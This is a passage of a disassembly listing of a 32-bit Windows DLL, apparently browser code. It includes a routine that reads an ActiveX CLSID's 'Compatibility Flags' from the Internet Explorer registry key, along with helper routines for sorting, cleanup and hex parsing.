sub esi, 4
loc_69B71686: ; CODE XREF: sub_69B71654+1Dj
cmp esi, ebx
jnb short loc_69B71673
loc_69B7168A: ; CODE XREF: sub_69B71654+11j
xor eax, eax
loc_69B7168C: ; CODE XREF: sub_69B71654+50j
pop edi
pop esi
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_69B71692: ; CODE XREF: sub_69B71654+2Dj
mov esi, [esi]
lea ecx, [esi+2Ch]
mov eax, [ecx]
call dword ptr [eax+44h]
push eax
mov ecx, edi
call sub_69B715F1
jmp short loc_69B7168C
sub_69B71654 endp
; =============== S U B R O U T I N E =======================================
sub_69B716A6 proc near ; CODE XREF: sub_69B6F054+Bp
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+14h]
cmp dword ptr [edi], 0
jnz short loc_69B716BE
mov eax, [esi+4]
push dword ptr [eax+14h]
push edi
call sub_69B17320
loc_69B716BE: ; CODE XREF: sub_69B716A6+Aj
push dword ptr [esi+18h]
mov ecx, [edi]
push [esp+0Ch+arg_0]
call sub_69B7175A
pop edi
pop esi
retn 4
sub_69B716A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B716D1 proc near ; DATA XREF: sub_69B71B16+2Eo
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [eax]
mov eax, [esp+arg_8]
fld qword ptr [ecx+38h]
mov edx, [eax]
fld qword ptr [edx+38h]
fld st(1)
fcomp st(1)
fnstsw ax
test ah, 5
jp short loc_69B716F6
fstp st
or eax, 0FFFFFFFFh
fstp st
retn
; ---------------------------------------------------------------------------
loc_69B716F6: ; CODE XREF: sub_69B716D1+1Bj
fld st(1)
fcompp st(1), st
fnstsw ax
fstp st
test ah, 41h
jnz short loc_69B71707
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B71707: ; CODE XREF: sub_69B716D1+30j
mov eax, [ecx+40h]
xor ecx, ecx
cmp eax, [edx+40h]
setnl cl
lea ecx, [ecx+ecx-1]
mov eax, ecx
retn
sub_69B716D1 endp
; =============== S U B R O U T I N E =======================================
sub_69B71719 proc near ; DATA XREF: .text:69B16094o
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+0Ch]
push eax
call sub_69B2DEB2
push edi
lea eax, [esi+10h]
push eax
call sub_69B2DEB2
push edi
lea eax, [esi+14h]
push eax
call sub_69B17320
push edi
lea eax, [esi+18h]
push eax
call sub_69B17320
push edi
lea eax, [esi+20h]
push eax
call sub_69B17320
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B71719 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7175A proc near ; CODE XREF: sub_69B716A6+21p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov esi, ecx
loc_69B71765: ; CODE XREF: sub_69B7175A+141j
or [ebp+var_4], 0FFFFFFFFh
cmp dword ptr [esi+14h], 0
jz short loc_69B71795
mov ecx, [ebp+arg_4]
mov eax, [ecx]
call dword ptr [eax+38h]
test eax, eax
jz short loc_69B71795
mov eax, [eax+14h]
mov ecx, [esi+14h]
push eax
call sub_69B1980A
test eax, eax
mov [ebp+var_8], eax
jz short loc_69B71795
mov eax, [eax+0Ch]
dec eax
mov [ebp+var_4], eax
loc_69B71795: ; CODE XREF: sub_69B7175A+13j
; sub_69B7175A+1Fj ...
mov ebx, [esi+1Ch]
dec ebx
cmp [ebp+var_4], 0
jl loc_69B71892
test ebx, ebx
jl loc_69B71866
push [ebp+var_4]
mov ecx, [ebp+var_8]
call sub_69B8A163
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov [ebp+var_C], eax
loc_69B717C0: ; CODE XREF: sub_69B7175A+D9j
mov ecx, [esi+18h]
push ebx
call sub_69B1A954
mov edi, [eax]
loc_69B717CB: ; CODE XREF: sub_69B7175A+BAj
mov eax, [ebp+var_C]
mov ecx, [eax+40h]
cmp ecx, [edi+40h]
jle short loc_69B71816
mov ecx, [eax+2Ch]
test ecx, ecx
jz loc_69B718A3
push [ebp+arg_4]
mov eax, [ecx]
push 0
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jnz loc_69B718AA
dec [ebp+var_4]
js loc_69B71892
push [ebp+var_4]
mov ecx, [ebp+var_8]
call sub_69B8A163
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov [ebp+var_C], eax
jmp short loc_69B717CB
; ---------------------------------------------------------------------------
loc_69B71816: ; CODE XREF: sub_69B7175A+7Aj
mov ecx, [edi+2Ch]
test ecx, ecx
jz loc_69B718AF
push [ebp+arg_4]
mov eax, [ecx]
push 0
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jnz short loc_69B718AF
dec ebx
jns short loc_69B717C0
jmp short loc_69B71866
; ---------------------------------------------------------------------------
loc_69B71837: ; CODE XREF: sub_69B7175A+110j
push [ebp+var_4]
mov ecx, [ebp+var_8]
call sub_69B8A163
mov edx, [eax]
dec [ebp+var_4]
mov ecx, eax
call dword ptr [edx+10h]
mov edi, eax
mov ecx, [edi+2Ch]
test ecx, ecx
jz short loc_69B718AF
push [ebp+arg_4]
mov eax, [ecx]
push 0
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jnz short loc_69B718AF
loc_69B71866: ; CODE XREF: sub_69B7175A+4Bj
; sub_69B7175A+DBj
cmp [ebp+var_4], 0
jge short loc_69B71837
jmp short loc_69B71892
; ---------------------------------------------------------------------------
loc_69B7186E: ; CODE XREF: sub_69B7175A+13Aj
mov ecx, [esi+18h]
push ebx
call sub_69B1A954
mov edi, [eax]
mov ecx, [edi+2Ch]
dec ebx
test ecx, ecx
jz short loc_69B718AF
push [ebp+arg_4]
mov eax, [ecx]
push 0
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jnz short loc_69B718AF
loc_69B71892: ; CODE XREF: sub_69B7175A+43j
; sub_69B7175A+9Fj ...
test ebx, ebx
jge short loc_69B7186E
mov esi, [esi+10h]
test esi, esi
jnz loc_69B71765
xor eax, eax
loc_69B718A3: ; CODE XREF: sub_69B7175A+81j
; sub_69B7175A+153j ...
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B718AA: ; CODE XREF: sub_69B7175A+96j
mov eax, [ebp+var_C]
jmp short loc_69B718A3
; ---------------------------------------------------------------------------
loc_69B718AF: ; CODE XREF: sub_69B7175A+C1j
; sub_69B7175A+D6j ...
mov eax, edi
jmp short loc_69B718A3
sub_69B7175A endp
; =============== S U B R O U T I N E =======================================
sub_69B718B3 proc near ; CODE XREF: sub_69B72411+2Cp
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+18h]
cmp dword ptr [edi], 0
jnz short loc_69B718E4
push 20h
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov dword ptr [ebx+8], 4
call sub_69B19118
push ebx
push edi
mov dword ptr [ebx], offset off_69B1EE00
call sub_69B17320
loc_69B718E4: ; CODE XREF: sub_69B718B3+Bj
mov ecx, [edi]
mov eax, [ecx+8]
cmp [esi+1Ch], eax
jl short loc_69B718FD
add eax, eax
push eax
call sub_69B660A0
push eax
push edi
call sub_69B17320
loc_69B718FD: ; CODE XREF: sub_69B718B3+39j
mov eax, [esi+1Ch]
mov ebx, [esp+0Ch+arg_0]
mov [ebx+40h], eax
mov eax, [esi+1Ch]
lea ecx, [eax+1]
mov [esi+1Ch], ecx
mov ecx, [edi]
push eax
call sub_69B1A954
push ebx
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B718B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B71927 proc near ; CODE XREF: sub_69B71B16+74p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov esi, ecx
call sub_69B315A6
push eax
lea ebx, [esi+14h]
push ebx
call sub_69B17320
mov edi, [esi+1Ch]
push 0
push 2
mov [ebp+var_10], edi
call sub_69B8A458
and [ebp+var_8], 0
test edi, edi
mov [ebp+var_C], eax
jle loc_69B71A2C
loc_69B7195F: ; CODE XREF: sub_69B71927+FFj
push [ebp+var_8]
mov ecx, [esi+18h]
call sub_69B1A954
mov eax, [eax]
mov ecx, [eax+2Ch]
test ecx, ecx
mov [ebp+var_18], eax
jz loc_69B71A1D
mov edi, [ebp+var_C]
mov eax, [ecx]
push edi
call dword ptr [eax+50h]
mov edi, [edi+0Ch]
and [ebp+var_4], 0
test edi, edi
mov [ebp+var_1C], edi
jle short loc_69B719AC
loc_69B71991: ; CODE XREF: sub_69B71927+83j
push [ebp+var_4]
mov ecx, [ebp+var_C]
call sub_69B8A163
cmp eax, dword_69B95A18
jz short loc_69B719AC
inc [ebp+var_4]
cmp [ebp+var_4], edi
jl short loc_69B71991
loc_69B719AC: ; CODE XREF: sub_69B71927+68j
; sub_69B71927+7Bj
cmp [ebp+var_4], edi
jnz short loc_69B71A15
and [ebp+var_4], 0
test edi, edi
jle short loc_69B719FF
loc_69B719B9: ; CODE XREF: sub_69B71927+D6j
push [ebp+var_4]
mov ecx, [ebp+var_C]
call sub_69B8A163
mov ecx, [ebx]
push eax
mov [ebp+var_14], eax
call sub_69B1980A
mov edi, eax
test edi, edi
jnz short loc_69B719EA
push eax
push 4
call sub_69B8A458
mov ecx, [ebx]
mov edi, eax
push edi
push [ebp+var_14]
call sub_69B3182D
loc_69B719EA: ; CODE XREF: sub_69B71927+ACj
push [ebp+var_18]
mov ecx, edi
call sub_69B8A35C
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
jl short loc_69B719B9
loc_69B719FF: ; CODE XREF: sub_69B71927+90j
push [ebp+var_8]
mov ecx, [esi+18h]
call sub_69B1A954
push 0
push eax
call sub_69B17320
dec dword ptr [esi+1Ch]
loc_69B71A15: ; CODE XREF: sub_69B71927+88j
mov ecx, [ebp+var_C]
call sub_69B8A208
loc_69B71A1D: ; CODE XREF: sub_69B71927+4Dj
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jl loc_69B7195F
loc_69B71A2C: ; CODE XREF: sub_69B71927+32j
mov edi, [esi+1Ch]
cmp [ebp+var_10], edi
jz short loc_69B71A9F
test edi, edi
jz short loc_69B71A97
lea eax, ds:10h[edi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], edi
call sub_69B19118
xor eax, eax
mov dword ptr [ebx], offset off_69B1EE00
cmp [esi+1Ch], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
jle short loc_69B71A94
loc_69B71A64: ; CODE XREF: sub_69B71927+16Bj
push [ebp+var_8]
mov ecx, [esi+18h]
call sub_69B1A954
mov edi, [eax]
inc [ebp+var_8]
test edi, edi
jz short loc_69B71A8C
push [ebp+var_4]
mov ecx, ebx
call sub_69B1A954
inc [ebp+var_4]
push edi
push eax
call sub_69B17320
loc_69B71A8C: ; CODE XREF: sub_69B71927+14Fj
mov eax, [ebp+var_4]
cmp eax, [esi+1Ch]
jl short loc_69B71A64
loc_69B71A94: ; CODE XREF: sub_69B71927+13Bj
push ebx
jmp short loc_69B71A99
; ---------------------------------------------------------------------------
loc_69B71A97: ; CODE XREF: sub_69B71927+10Fj
push 0
loc_69B71A99: ; CODE XREF: sub_69B71927+16Ej
add esi, 18h
push esi
jmp short loc_69B71AA2
; ---------------------------------------------------------------------------
loc_69B71A9F: ; CODE XREF: sub_69B71927+10Bj
push 0
push ebx
loc_69B71AA2: ; CODE XREF: sub_69B71927+176j
call sub_69B17320
pop edi
pop esi
pop ebx
leave
retn
sub_69B71927 endp
; =============== S U B R O U T I N E =======================================
sub_69B71AAC proc near ; DATA XREF: .text:69B1606Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B71AC7
test [esp+4+arg_0], 1
jz short loc_69B71AC1
push esi
call sub_69B1829F
loc_69B71AC1: ; CODE XREF: sub_69B71AAC+Dj
mov eax, esi
pop esi
retn 4
sub_69B71AAC endp
; =============== S U B R O U T I N E =======================================
sub_69B71AC7 proc near ; CODE XREF: sub_69B71AAC+3p
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B2DEDD
lea eax, [esi+0Ch]
push eax
call sub_69B2DEDD
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B71AC7 endp
; =============== S U B R O U T I N E =======================================
sub_69B71AFF proc near ; CODE XREF: sub_69B6F3D1+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B16020 SIZE 0000003F BYTES
push 24h
call sub_69B17EF3
test eax, eax
jz short loc_69B71B11
mov ecx, eax
jmp loc_69B16020
; ---------------------------------------------------------------------------
loc_69B71B11: ; CODE XREF: sub_69B71AFF+9j
xor eax, eax
retn 8
sub_69B71AFF endp
; =============== S U B R O U T I N E =======================================
sub_69B71B16 proc near ; CODE XREF: sub_69B6E969+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
cmp dword ptr [edi+0A8h], 2
mov esi, ecx
jnz short loc_69B71B3C
mov ecx, [esi+0Ch]
push edi
call sub_69B723DF
push eax
lea eax, [esi+10h]
push eax
call sub_69B2DEB2
jmp short loc_69B71B5D
; ---------------------------------------------------------------------------
loc_69B71B3C: ; CODE XREF: sub_69B71B16+Fj
mov eax, [esi+1Ch]
cmp eax, 1
jle short loc_69B71B5D
push offset sub_69B716D1
push 4
push eax
mov eax, [esi+18h]
add eax, 0Ch
push eax
push 0
call sub_69B6DBB2
add esp, 14h
loc_69B71B5D: ; CODE XREF: sub_69B71B16+24j
; sub_69B71B16+2Cj
mov eax, [esi+1Ch]
cmp eax, 10h
jl short loc_69B71B8F
cmp dword ptr [edi+0A8h], 2
jz short loc_69B71B88
xor edi, edi
test eax, eax
jle short loc_69B71B88
loc_69B71B74: ; CODE XREF: sub_69B71B16+70j
mov ecx, [esi+18h]
push edi
call sub_69B1A954
mov eax, [eax]
mov [eax+40h], edi
inc edi
cmp edi, [esi+1Ch]
jl short loc_69B71B74
loc_69B71B88: ; CODE XREF: sub_69B71B16+56j
; sub_69B71B16+5Cj
mov ecx, esi
call sub_69B71927
loc_69B71B8F: ; CODE XREF: sub_69B71B16+4Dj
pop edi
pop esi
retn 4
sub_69B71B16 endp
; =============== S U B R O U T I N E =======================================
sub_69B71B94 proc near ; DATA XREF: .text:69B21D20o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, ecx
xor ecx, ecx
sub eax, ecx
jz short loc_69B71BDE
dec eax
dec eax
jz short loc_69B71BFA
dec eax
jnz short loc_69B71BD9
loc_69B71BAD: ; CODE XREF: sub_69B71B94+69j
mov eax, [esi+20h]
mov dword ptr [eax+0Ch], 2
mov eax, [edi+18h]
xor edx, edx
cmp eax, ecx
setz dl
push ecx
push edx
push 2
loc_69B71BC5: ; CODE XREF: sub_69B71B94+6Fj
mov ecx, esi
call sub_69B6F0B5
cmp eax, 1
jnz short loc_69B71BD9
push esi
mov ecx, edi
call sub_69B725AD
loc_69B71BD9: ; CODE XREF: sub_69B71B94+17j
; sub_69B71B94+3Bj
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B71BDE: ; CODE XREF: sub_69B71B94+10j
mov eax, [esi+28h]
push dword ptr [eax+18h]
lea eax, [esi+10h]
push eax
mov ecx, edi
call sub_69B73094
push eax
push esi
mov ecx, edi
call sub_69B72316
xor ecx, ecx
loc_69B71BFA: ; CODE XREF: sub_69B71B94+14j
cmp [edi+18h], ecx
jz short loc_69B71BAD
push ecx
push 1
push ecx
jmp short loc_69B71BC5
sub_69B71B94 endp
; =============== S U B R O U T I N E =======================================
sub_69B71C05 proc near ; CODE XREF: sub_69B6EDDE+C9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B21CB4 SIZE 0000002F BYTES
push 30h
call sub_69B17EF3
test eax, eax
jz short loc_69B71C17
mov ecx, eax
jmp loc_69B21CB4
; ---------------------------------------------------------------------------
loc_69B71C17: ; CODE XREF: sub_69B71C05+9j
xor eax, eax
retn 8
sub_69B71C05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B71C1C proc near ; DATA XREF: .text:69B21D24o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push [ebp+arg_4]
mov esi, ecx
mov edi, [esi+0Ch]
call sub_69B73078
mov ebx, [ebp+arg_0]
push edi
mov ecx, ebx
mov [ebp+var_4], eax
call sub_69B6F483
push [ebp+arg_4]
mov ecx, esi
push edi
push ebx
call sub_69B725C0
test al, al
jnz short loc_69B71C83
push [ebp+var_4]
mov ecx, esi
push edi
push ebx
call sub_69B7267F
cmp dword ptr [ebx+0A8h], 2
jnz short loc_69B71C6B
push edi
mov ecx, ebx
call sub_69B6F192
loc_69B71C6B: ; CODE XREF: sub_69B71C1C+45j
push dword_69B95A0C
mov ecx, esi
push ebx
call sub_69B7238E
push eax
add esi, 14h
push esi
call sub_69B2DEB2
loc_69B71C83: ; CODE XREF: sub_69B71C1C+30j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B71C1C endp
; =============== S U B R O U T I N E =======================================
sub_69B71C8A proc near ; CODE XREF: sub_69B71C97+Dp
; sub_69B71CE8:loc_69B71D21p ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_69B71C96
mov eax, dword_69B9B678
locret_69B71C96: ; CODE XREF: sub_69B71C8A+5j
retn
sub_69B71C8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B71C97 proc near ; DATA XREF: .text:69B141F4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, edx
cmp [ecx+19h], dl
jz short loc_69B71CBD
call sub_69B71C8A
push [ebp+arg_C]
mov edx, [eax]
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [ecx+14h]
push eax
call dword ptr [edx+18h]
jmp short loc_69B71CE4
; ---------------------------------------------------------------------------
loc_69B71CBD: ; CODE XREF: sub_69B71C97+Bj
cmp [ecx+18h], dl
jnz short loc_69B71CDF
mov ecx, [ebp+arg_4]
cmp ecx, edx
jz short loc_69B71CD8
mov eax, [ebp+arg_8]
cmp [eax], edx
jz short loc_69B71CD8
mov [eax], edx
mov [ecx], dl
xor eax, eax
jmp short loc_69B71CE4
; ---------------------------------------------------------------------------
loc_69B71CD8: ; CODE XREF: sub_69B71C97+30j
; sub_69B71C97+37j
mov eax, 80070057h
jmp short loc_69B71CE4
; ---------------------------------------------------------------------------
loc_69B71CDF: ; CODE XREF: sub_69B71C97+29j
mov eax, 80004005h
loc_69B71CE4: ; CODE XREF: sub_69B71C97+24j
; sub_69B71C97+3Fj ...
pop ebp
retn 10h
sub_69B71C97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B71CE8 proc near ; DATA XREF: .text:69B141F8o
var_44 = byte ptr -44h
var_24 = byte ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, dword_69B92170
xor eax, [ebp+4]
mov ecx, [ebp+arg_0]
cmp byte ptr [ecx+19h], 0
mov [ebp+var_4], eax
jz short loc_69B71D44
push esi
mov esi, [ebp+arg_8]
test esi, esi
push edi
push 20h
pop eax
jnz short loc_69B71D14
lea esi, [ebp+var_24]
mov [ebp+arg_C], eax
loc_69B71D14: ; CODE XREF: sub_69B71CE8+24j
mov edx, [ebp+arg_10]
test edx, edx
jnz short loc_69B71D21
lea edx, [ebp+var_44]
mov [ebp+arg_14], eax
loc_69B71D21: ; CODE XREF: sub_69B71CE8+31j
call sub_69B71C8A
push [ebp+arg_1C]
mov edi, [eax]
push [ebp+arg_18]
push [ebp+arg_14]
push edx
push [ebp+arg_C]
push esi
push [ebp+arg_4]
push dword ptr [ecx+14h]
push eax
call dword ptr [edi+1Ch]
pop edi
pop esi
jmp short loc_69B71D70
; ---------------------------------------------------------------------------
loc_69B71D44: ; CODE XREF: sub_69B71CE8+18j
mov eax, [ebp+arg_8]
test eax, eax
jnz short loc_69B71D52
mov eax, 80004003h
jmp short loc_69B71D70
; ---------------------------------------------------------------------------
loc_69B71D52: ; CODE XREF: sub_69B71CE8+61j
cmp [ebp+arg_C], 4
mov byte ptr [eax], 0
jnb short loc_69B71D62
mov eax, 80070057h
jmp short loc_69B71D70
; ---------------------------------------------------------------------------
loc_69B71D62: ; CODE XREF: sub_69B71CE8+71j
mov cl, [ecx+18h]
neg cl
sbb ecx, ecx
and ecx, 3
mov [eax], ecx
xor eax, eax
loc_69B71D70: ; CODE XREF: sub_69B71CE8+5Aj
; sub_69B71CE8+68j ...
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn 20h
sub_69B71CE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B71D7F proc near ; CODE XREF: sub_69B71F04+C9p
; sub_69B720D9+CDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 4
lea edx, [ebp+arg_4]
push edx
push [ebp+arg_0]
mov [esi], bl
mov eax, [ecx]
push ecx
call dword ptr [eax+10h]
cmp eax, 1
jnz short loc_69B71DA5
xor eax, eax
loc_69B71DA5: ; CODE XREF: sub_69B71D7F+22j
cmp eax, ebx
jl short loc_69B71DB7
mov ecx, [ebp+arg_4]
and cl, 0Fh
neg cl
sbb cl, cl
inc cl
mov [esi], cl
loc_69B71DB7: ; CODE XREF: sub_69B71D7F+28j
pop esi
pop ebx
pop ebp
retn 8
sub_69B71D7F endp
; =============== S U B R O U T I N E =======================================
sub_69B71DBD proc near ; CODE XREF: sub_69B71E06+B7p
xor eax, eax
loc_69B71DBF: ; CODE XREF: sub_69B71DBD+46j
mov cx, [edx]
inc edx
inc edx
cmp cx, 41h
jb short loc_69B71DD8
cmp cx, 46h
ja short loc_69B71DD8
movzx ecx, cx
sub ecx, 37h
jmp short loc_69B71DFE
; ---------------------------------------------------------------------------
loc_69B71DD8: ; CODE XREF: sub_69B71DBD+Bj
; sub_69B71DBD+11j
cmp cx, 61h
jb short loc_69B71DEC
cmp cx, 66h
ja short loc_69B71DEC
movzx ecx, cx
sub ecx, 57h
jmp short loc_69B71DFE
; ---------------------------------------------------------------------------
loc_69B71DEC: ; CODE XREF: sub_69B71DBD+1Fj
; sub_69B71DBD+25j
cmp cx, 30h
jb short locret_69B71E05
cmp cx, 39h
ja short locret_69B71E05
movzx ecx, cx
sub ecx, 30h
loc_69B71DFE: ; CODE XREF: sub_69B71DBD+19j
; sub_69B71DBD+2Dj
shl eax, 4
add eax, ecx
jmp short loc_69B71DBF
; ---------------------------------------------------------------------------
locret_69B71E05: ; CODE XREF: sub_69B71DBD+33j
; sub_69B71DBD+39j
retn
sub_69B71DBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B71E06(CLSID *rclsid, int)
sub_69B71E06 proc near ; CODE XREF: sub_69B71F04+51p
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
pv = dword ptr -10h
var_C = dword ptr -0Ch
hKey = dword ptr -8
var_4 = dword ptr -4
rclsid = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov esi, ds:SHLWAPI_125
xor ebx, ebx
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
push edi
mov [eax], ebx
lea eax, [ebp+var_C]
push eax
mov edi, 20019h
push edi
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\Internet Explorer\\Ac"...
push 80000002h
mov [ebp+var_C], ebx
mov [ebp+hKey], ebx
mov [ebp+pv], ebx
call esi ; SHLWAPI_125
test eax, eax
jz short loc_69B71E54
loc_69B71E4B: ; CODE XREF: sub_69B71E06+72j
; sub_69B71E06+9Bj
mov [ebp+rclsid], 1
jmp short loc_69B71EC7
; ---------------------------------------------------------------------------
loc_69B71E54: ; CODE XREF: sub_69B71E06+43j
lea eax, [ebp+pv]
push eax ; lplpsz
push [ebp+rclsid] ; rclsid
call ds:StringFromCLSID
cmp eax, ebx
mov [ebp+rclsid], eax
jl short loc_69B71EC7
lea eax, [ebp+hKey]
push eax
push edi
push ebx
push [ebp+pv]
push [ebp+var_C]
call esi ; SHLWAPI_125
test eax, eax
jnz short loc_69B71E4B
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_14]
push eax
push ebx
push offset aCompatibilityF ; "Compatibility Flags"
push [ebp+hKey]
mov [ebp+var_18], 18h
call ds:SHLWAPI_128
cmp eax, ebx
mov [ebp+rclsid], eax
jnz short loc_69B71E4B
cmp [ebp+var_14], 4
jnz short loc_69B71EAE
mov eax, [ebp+var_30]
jmp short loc_69B71EC2
; ---------------------------------------------------------------------------
loc_69B71EAE: ; CODE XREF: sub_69B71E06+A1j
cmp [ebp+var_14], 1
jnz short loc_69B71EC7
cmp [ebp+var_18], 2
jbe short loc_69B71EC7
lea edx, [ebp+var_2C]
call sub_69B71DBD
loc_69B71EC2: ; CODE XREF: sub_69B71E06+A6j
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_69B71EC7: ; CODE XREF: sub_69B71E06+4Cj
; sub_69B71E06+60j ...
cmp [ebp+hKey], ebx
mov esi, RegCloseKey
jz short loc_69B71ED7
push [ebp+hKey] ; hKey
call esi ; RegCloseKey
loc_69B71ED7: ; CODE XREF: sub_69B71E06+CAj
cmp [ebp+var_C], ebx
jz short loc_69B71EE1
push [ebp+var_C] ; hKey
call esi ; RegCloseKey
loc_69B71EE1: ; CODE XREF: sub_69B71E06+D4j
cmp [ebp+pv], ebx
pop edi
pop esi
pop ebx
jz short loc_69B71EF2
push [ebp+pv] ; pv
call ds:CoTaskMemFree
loc_69B71EF2: ; CODE XREF: sub_69B71E06+E1j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+rclsid]
call sub_69B1B9F6
leave
retn 8
sub_69B71E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B71F04(int, int, CLSID rclsid, int)
sub_69B71F04 proc near ; CODE XREF: sub_69B720D9+F4p
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
rclsid = CLSID ptr 10h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
push edi
mov esi, offset dword_69B2AFB0
lea edi, [ebp+var_24]
movsd
movsd
movsd
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
xor ebx, ebx
movsd
xor esi, esi
xor edi, edi
dec eax
mov [ebp+var_14], ecx
mov [ebp+var_5], bl
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
jnz short loc_69B71F4D
mov esi, offset loc_69B72038
lea edi, [ebp+var_24]
movsd
movsd
movsd
movsd
xor edi, edi
inc edi
mov esi, edi
loc_69B71F4D: ; CODE XREF: sub_69B71F04+36j
lea eax, [ebp+var_10]
push eax ; int
lea eax, [ebp+rclsid]
push eax ; rclsid
call sub_69B71E06
test eax, eax
jl loc_69B72016
test byte ptr [ebp+var_10+1], 4
jnz loc_69B72016
test byte ptr [ebp+var_10], 2
jnz loc_69B72007
mov eax, [ebp+arg_18]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset dword_69B2B110
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B71FD4
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_69B71FD4
cmp [ebp+arg_0], 1
jnz short loc_69B71FAC
mov ecx, [eax]
push edi
push esi
push offset dword_69B2B050
push eax
call dword ptr [ecx+10h]
cmp eax, ebx
jge short loc_69B71FC1
mov eax, [ebp+var_C]
loc_69B71FAC: ; CODE XREF: sub_69B71F04+92j
mov ecx, [eax]
push edi
push esi
push [ebp+arg_4]
push eax
call dword ptr [ecx+10h]
cmp eax, ebx
jl short loc_69B72007
loc_69B71FBB: ; CODE XREF: sub_69B71F04+101j
cmp [ebp+arg_0], 1
loc_69B71FBF: ; CODE XREF: sub_69B71F04+137j
jnz short loc_69B72012
